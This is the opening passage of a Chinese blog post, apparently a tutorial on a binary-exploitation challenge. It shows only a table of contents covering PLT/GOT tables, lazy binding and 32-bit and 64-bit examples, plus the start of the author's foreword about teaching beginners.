    目录 写在开头 题目简介 解题思路 前置知识 简要了解 plt表和got表 延迟绑定 例题详解 32位 64位 总结与思考 写在开头 这篇博客早就想写了 但由于近期事情较多 一直懒得动笔 近期被领导派去临时给合作单位当讲师 要给零基础的学员